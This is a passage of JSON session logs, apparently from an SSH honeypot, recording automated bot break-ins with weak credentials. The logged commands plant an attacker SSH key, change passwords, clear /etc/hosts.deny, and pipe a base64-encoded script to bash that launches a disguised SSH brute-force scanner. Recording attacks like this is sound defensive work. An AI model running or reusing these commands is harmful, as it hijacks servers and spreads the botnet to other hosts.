GNU/Linux"},{"seq":27,"at":"2026-08-23T01:13:33.301079+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T01:13:33.301619+00:00","kind":"output","latency_ms":null,"data":"jitendra"},{"seq":29,"at":"2026-08-23T01:13:33.988274+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T01:13:35.163114+00:00","kind":"output","latency_ms":1176,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T01:13:35.849894+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T01:13:36.288448+00:00","kind":"output","latency_ms":438,"data":"24G"},{"seq":33,"at":"2026-08-23T01:13:38.483866+00:00","kind":"input","latency_ms":null,"data":"echo \"jitendra 12345678\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T01:13:39.170704+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T01:13:39.737599+00:00","kind":"output","latency_ms":564,"data":""},{"seq":36,"at":"2026-08-23T01:13:41.620238+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T01:13:42.455224+00:00","kind":"output","latency_ms":835,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T01:13:43.140912+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T01:13:43.688278+00:00","kind":"output","latency_ms":547,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T01:13:44.373583+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T01:13:45.058447+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T01:13:45.563130+00:00","kind":"output","latency_ms":504,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T01:13:46.249527+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T01:13:47.978740+00:00","kind":"output","latency_ms":1728,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T01:13:48.664836+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T01:13:49.118927+00:00","kind":"output","latency_ms":454,"data":""},{"seq":47,"at":"2026-08-23T01:13:57.418775+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T01:13:57.421471+00:00","kind":"output","latency_ms":null,"data":"jitendra"}],"credentials":[{"username":"jitendra","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"0844521b-6fe2-405e-8725-531adb115801","name":"thawing-jagged-condor","protocol":"ssh","channel_kind":"exec","src_ip":"213.91.234.180","src_port":54362,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":357,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T01:09:13.082039+00:00","ended_at":"2026-08-23T01:09:13.187119+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3866,"events":[{"seq":1,"at":"2026-08-23T01:08:45.040752+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T01:08:45.395998+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T01:08:49.371712+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T01:08:49.372337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T01:08:49.727529+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fWejyfoKTWdR\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T01:08:50.082837+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T01:08:50.384886+00:00","kind":"output","latency_ms":657,"data":""},{"seq":8,"at":"2026-08-23T01:08:50.439620+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T01:08:50.440285+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T01:08:50.796760+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T01:08:51.243488+00:00","kind":"output","latency_ms":445,"data":"15888 0 0 0 0 0"},{"seq":12,"at":"2026-08-23T01:08:51.601041+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T01:08:52.315942+00:00","kind":"output","latency_ms":714,"data":"-rwxr-xr-x 1 root root 142K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T01:08:52.673207+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T01:08:52.673893+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T01:08:53.032535+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T01:08:53.033062+00:00","kind":"output","latency_ms":null,"data":" 01:08:53 up 2 days, 21:59, 0 user, load average: 0.2, 0.21, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T01:08:53.391440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T01:08:53.391952+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T01:08:53.748137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T01:08:53.749103+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T01:08:54.107342+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T01:08:54.107889+00:00","kind":"output","latency_ms":null,"data":"top - 01:08:54 up 2 days, 21:59, 0 user, load average: 0.2, 0.21, 0.2\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T01:08:54.464444+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T01:08:54.464769+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T01:08:54.821653+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T01:08:54.822249+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T01:08:55.179290+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T01:08:55.179743+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T01:08:55.535963+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T01:08:56.645160+00:00","kind":"output","latency_ms":1107,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T01:08:57.001475+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T01:08:57.614874+00:00","kind":"output","latency_ms":612,"data":"25G"},{"seq":34,"at":"2026-08-23T01:08:58.885618+00:00","kind":"input","latency_ms":null,"data":"echo \"root minecraft1\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T01:08:59.240235+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T01:08:59.694575+00:00","kind":"output","latency_ms":453,"data":""},{"seq":37,"at":"2026-08-23T01:09:00.477651+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T01:09:01.279225+00:00","kind":"output","latency_ms":801,"data":"{\"status\":\"ok\",\"note\":\"cache refreshed\",\"ts\":\"2026-08-23T01:07:44Z\"}"},{"seq":39,"at":"2026-08-23T01:09:01.636850+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T01:09:02.309144+00:00","kind":"output","latency_ms":671,"data":"{\"status\":\"ok\",\"note\":\"cache refreshed\",\"ts\":\"2026-08-23T01:07:44Z\"}"},{"seq":41,"at":"2026-08-23T01:09:02.667506+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T01:09:03.022748+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T01:09:03.641883+00:00","kind":"output","latency_ms":617,"data":"1"},{"seq":44,"at":"2026-08-23T01:09:03.999199+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T01:09:04.408766+00:00","kind":"output","latency_ms":409,"data":"1"},{"seq":46,"at":"2026-08-23T01:09:04.766390+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T01:09:05.270367+00:00","kind":"output","latency_ms":502,"data":""},{"seq":48,"at":"2026-08-23T01:09:13.083942+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T01:09:13.084701+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"minecraft1","method":"password","accepted":true,"tier":"other"}]} {"id":"4a0c9132-6dee-4f72-9d68-d4faa24a1033","name":"gleaming-placid-osprey","protocol":"ssh","channel_kind":"exec","src_ip":"171.25.158.70","src_port":57626,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":373,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T00:58:21.019162+00:00","ended_at":"2026-08-23T00:58:21.109836+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3397,"events":[{"seq":1,"at":"2026-08-23T00:57:52.832574+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T00:57:53.199817+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T00:57:58.098972+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T00:57:58.099507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T00:57:58.417658+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zxcvbnm\\npqsuInswO8pN\\npqsuInswO8pN\"|passwd|bash"},{"seq":6,"at":"2026-08-23T00:57:58.797990+00:00","kind":"input","latency_ms":null,"data":"echo \"zxcvbnm\\npqsuInswO8pN\\npqsuInswO8pN\\n\"|passwd"},{"seq":7,"at":"2026-08-23T00:57:59.122681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T00:57:59.123178+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T00:57:59.494082+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T00:58:00.227510+00:00","kind":"output","latency_ms":732,"data":" 15888 4120 8734 341 162 8667"},{"seq":11,"at":"2026-08-23T00:58:00.696109+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T00:58:01.282346+00:00","kind":"output","latency_ms":585,"data":"-rwxr-xr-x 1 root root 1.3M Apr 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T00:58:01.614532+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T00:58:01.615013+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T00:58:01.992270+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T00:58:01.992762+00:00","kind":"output","latency_ms":null,"data":" 00:58:01 up 2 days, 21:48, 0 user, load average: 0.1, 0.13, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T00:58:02.316296+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T00:58:02.317261+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T00:58:02.696085+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T00:58:02.696590+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T00:58:03.024512+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T00:58:03.025011+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:03 up 2 days, 21:48, 0 user, load average: 0.1, 0.13, 0.07\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T00:58:03.398191+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T00:58:03.398930+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T00:58:03.792024+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T00:58:03.792617+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T00:58:04.124861+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T00:58:04.128059+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-23T00:58:04.514214+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T00:58:05.093418+00:00","kind":"output","latency_ms":578,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T00:58:05.498599+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T00:58:05.957340+00:00","kind":"output","latency_ms":457,"data":"24G"},{"seq":33,"at":"2026-08-23T00:58:07.395245+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpuser zxcvbnm\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T00:58:07.719995+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T00:58:08.156244+00:00","kind":"output","latency_ms":433,"data":""},{"seq":36,"at":"2026-08-23T00:58:09.010523+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T00:58:09.474671+00:00","kind":"output","latency_ms":463,"data":"ftpuser zxcvbnm"},{"seq":38,"at":"2026-08-23T00:58:09.818106+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T00:58:10.341878+00:00","kind":"output","latency_ms":523,"data":"ftpuser zxcvbnm"},{"seq":40,"at":"2026-08-23T00:58:10.697207+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T00:58:11.016135+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T00:58:11.424575+00:00","kind":"output","latency_ms":407,"data":"ftpuser zxcvbnm"},{"seq":43,"at":"2026-08-23T00:58:11.792742+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T00:58:12.284558+00:00","kind":"output","latency_ms":490,"data":"ftpuser zxcvbnm"},{"seq":45,"at":"2026-08-23T00:58:12.722002+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T00:58:21.019763+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-23T00:58:21.020577+00:00","kind":"output","latency_ms":null,"data":"ftpuser"}],"credentials":[{"username":"ftpuser","password":"zxcvbnm","method":"password","accepted":true,"tier":"other"}]} {"id":"e4909784-b570-4d6e-b53d-274294e58207","name":"glassy-subtle-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"58.209.82.184","src_port":45019,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":795,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T00:50:22.167314+00:00","ended_at":"2026-08-23T00:50:22.411160+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3812,"events":[{"seq":1,"at":"2026-08-23T00:49:38.901027+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T00:49:40.026532+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T00:49:45.850665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T00:49:45.851724+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T00:49:46.664249+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwer1234!@#$\\nwSYCSBm4fMGO\\nwSYCSBm4fMGO\"|passwd|bash"},{"seq":6,"at":"2026-08-23T00:49:47.461990+00:00","kind":"input","latency_ms":null,"data":"echo \"qwer1234!@#$\\nwSYCSBm4fMGO\\nwSYCSBm4fMGO\\n\"|passwd"},{"seq":7,"at":"2026-08-23T00:49:47.927883+00:00","kind":"output","latency_ms":464,"data":"New password:\nRetype new password:\npasswd: password updated successfully"},{"seq":8,"at":"2026-08-23T00:49:48.273201+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T00:49:48.274051+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T00:49:49.068647+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T00:49:49.773890+00:00","kind":"output","latency_ms":703,"data":"15888 2301 10923 0 2663 0"},{"seq":12,"at":"2026-08-23T00:49:50.582523+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T00:49:51.290043+00:00","kind":"output","latency_ms":704,"data":"-rwxr-xr-x 1 root root 148K May 17 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T00:49:52.109825+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T00:49:52.110364+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T00:49:52.898541+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T00:49:52.899141+00:00","kind":"output","latency_ms":null,"data":" 00:49:52 up 2 days, 21:39, 0 user, load average: 0.04, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T00:49:53.686316+00:00","kind":"input","latency_ms":null,"data":"uname 